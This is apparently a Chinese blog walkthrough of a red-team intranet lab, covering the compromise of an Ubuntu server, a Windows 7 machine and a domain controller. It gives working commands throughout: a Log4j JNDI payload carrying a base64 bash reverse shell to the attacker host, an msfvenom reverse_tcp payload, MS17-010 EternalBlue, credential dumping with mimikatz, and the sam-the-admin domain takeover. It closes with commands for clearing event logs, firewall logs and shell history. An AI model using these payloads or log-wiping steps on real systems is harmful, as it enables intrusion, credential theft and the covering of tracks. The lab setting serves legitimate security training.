渗透攻击红队内网靶场

红队靶机

基础情况

渗透攻击红队内网靶场

环境说明

外网服务器:
ubuntu16
user:saul
pass:Saul123
# 重启后,需要手动重新启动 Docker 容器
sudo docker start  cc4ddedd1727

域控:
hostname:AD
user : Administrator
pass : Admin12345

域个人机器:
hostname:win7
本地用户:hong:密码空
域账户:redteam/root:Red12345

网络拓扑图

主机信息

主机 外网 内网1 内网2
kali 192.168.211.147
ubuntu 192.168.211.153 10.0.1.6
win7 10.0.1.7 10.0.0.7
windows 2008 R2 10.0.0.12

信息收集

nmap -sV -T4 -A -p 1-65535 192.168.211.153

该主机开启了22,38080端口,38080端口扫描到有web服务,访问

log4j+获取外网服务器权限

dnslog盲打

curl http://192.168.211.153:38080//hello -X POST -d 'payload=${jndi:ldap://v0cwlo.dnslog.cn/aa}'

JNDI命令注入

JNDI注入利用工具

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.211.147

开启LDAP服务:

构造payload:

## bash一句话反弹shell
bash -i >& /dev/tcp/192.168.211.147/9999 0>&1

## base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4xNDcvOTk5OSAwPiYx

## url编码+号
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4xNDcvOTk5OSAwPiYx

## 构造payload
curl 192.168.211.153:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.211.147:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4xNDcvOTk5OSAwPiYx}'

发送TomcatBypass Queries:

ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]

成功获得shell

cat /proc/1/cgroup

发现此容器在docker里

在/root/flag.txt下获得第一个flag

通过此账号密码直接ssh连接

MS17-010+获取域个人机器权限

信息收集

发现内网地址10.0.1.0/24

不多说,直接上fscan

搭建http:

python -m SimpleHTTPServer 1337

下载马:

wget 192.168.211.147:1337/fscan_amd64

./fscan_amd64 -h 10.0.1.1/24

start ping
(icmp) Target 10.0.1.6        is alive
(icmp) Target 10.0.1.7        is alive
[*] Icmp alive hosts len is: 2
10.0.1.7:135 open
10.0.1.6:22 open
10.0.1.7:139 open
10.0.1.7:445 open
[*] alive ports len is: 4
[*] start vulscan
[+] NetInfo:
[*]10.0.1.7
   [->]win7
   [->]10.0.1.7
   [->]10.0.0.7
[+] 10.0.1.7    MS17-010        (Windows 7 Ultimate 7601 Service Pack 1)
[*] 10.0.1.7             __MSBROWSE__\WIN7              Windows 7 Ultimate 7601 Service Pack 1

扫到除本机外一个10.0.1.7的主机,10.0.1.7主机存在另一个内网ip10.0.0.7并且存在MS17-010


msf上线

制作msf马:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.211.147 lport=4444 -f elf -o shell

msf加载:

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

远程执行,反弹shell

msf成功上线,这时候我们再利用MS17-010拿下windows机


流量代理

frps.ini:

[common]
bind_addr = 0.0.0.0        # 设置监听的ip ,一般是你的外网ip,0.0.0.0表示都监听
bind_port = 8000           # 监听的端口,等待客户端连接 
dashboard_addr = 0.0.0.0   # frp网站服务器的ip,可以访问登录
dashboard_port = 7600       # frp网站服务器的端口,可以访问登录
dashboard_user = root       # frp网站服务账号
dashboard_pwd  = 123456    # frp网站服务密码
token = 1q2w3e             # 客户端的连接密码
heartbeat_timeout = 90     # 连接超时的时间
max_pool_count = 5		   # 允许连接的客户端数量


攻击机:sudo ./frps -c ./frps.ini

frpc.ini:

[common]
tls_enable = true
server_addr = *.*.*.*         # vps 服务器地址 
server_port = 8000          # vps服务器监听地址
token = 1q2w3e              # 设置的密码 ,设置完流量加密,不好解。      
pool_count = 5            # 将提前建立连接,默认值为 0
protocol = tcp              # 通信方式
health_check_type = tcp    # frpc 将连接本地服务的端口以检测其健康状态
health_check_interval_s = 100   # 健康检查时间间隔
[proxies]
remote_port = 6000  # 把流量转发到vps 那个端口 ,这个是重点等下会用到
plugin = socks5        #plugin 表示为插件 
use_encryption = true   
use_compression = true

远端机:sudo ./frpc -c ./frpc.ini

MS17-010

扫描漏洞:

search msf17-010
use auxiliary/scanner/smb/smb_ms17_010  # 选择扫描模块
show options  # 查看模块配置
set rhost 10.0.1.7 # 选择攻击ip
run  

攻击测试:

setg Proxies socks5:127.0.0.1:6000            # 设置代理
set ReverseAllowProxy true                    # 允许反向连接
use auxiliary/scanner/smb/smb_ms17_010        #扫描ms17-010
exploit/windows/smb/ms17_010_eternalblue      #攻击测试
set payload windows/x64/meterpreter/bind_tcp  #设置攻击载荷

flag在root用户桌面

获取域控机器权限

信息收集

meterpreter > sysinfo
Computer        : WIN7
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : REDTEAM
Logged On Users : 2
Meterpreter     : x64/windows

获取相关域信息

命令 功能
net view /domain 查看域 REDTEAM
net group "domain admins" /domain 查看域管理员 administrator
net user /domain 查看域用户 Administrator、root
net group "domain controllers" /domain 查看域控 DC

抓用户密码

load mimikatz
creds_all

成功抓到域用户root的账号及密码

因为之前用fscan确定第二层的C段为10.0.0.0/24

直接找域控ip

for /l %i in (1,1,255) do @ping 10.0.0.%i -w 1 -n 1|find /i "ttl="

命令太慢,换找域控ip方式:

nslookup redteam.lab

拿域控权限

CVE-2021-42287/CVE-2021-42278

相关文章

Python 利用脚本:https://github.com/WazeHell/sam-the-admin

假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞创建一个机器用户,再把机器用户 saulGoodman的改成。然后利用去申请一个票据。再把的改为。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

在使用代理之前,我们需要先添加路由,让MSF能到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流量也都能到达内网

use auxiliary/server/socks_proxy

修改/etc/proxychains.conf

sock5 0.0.0.0 1080

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

至此此靶场渗透工作全部完成,获取到三个flag文件,拿到域控权限

痕迹清理

windows机:

windows主机日志全量清理: 
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"

防火墙日志清理:
cd logfiles/firewall 
del xxx.log

Linux机:

隐藏远程ssh登陆记录:
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

清理历史记录:
history -c

清理日志:
ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog
posted @ 2022-05-30 08:47  kar3a  阅读(1302)  评论(0编辑  收藏  举报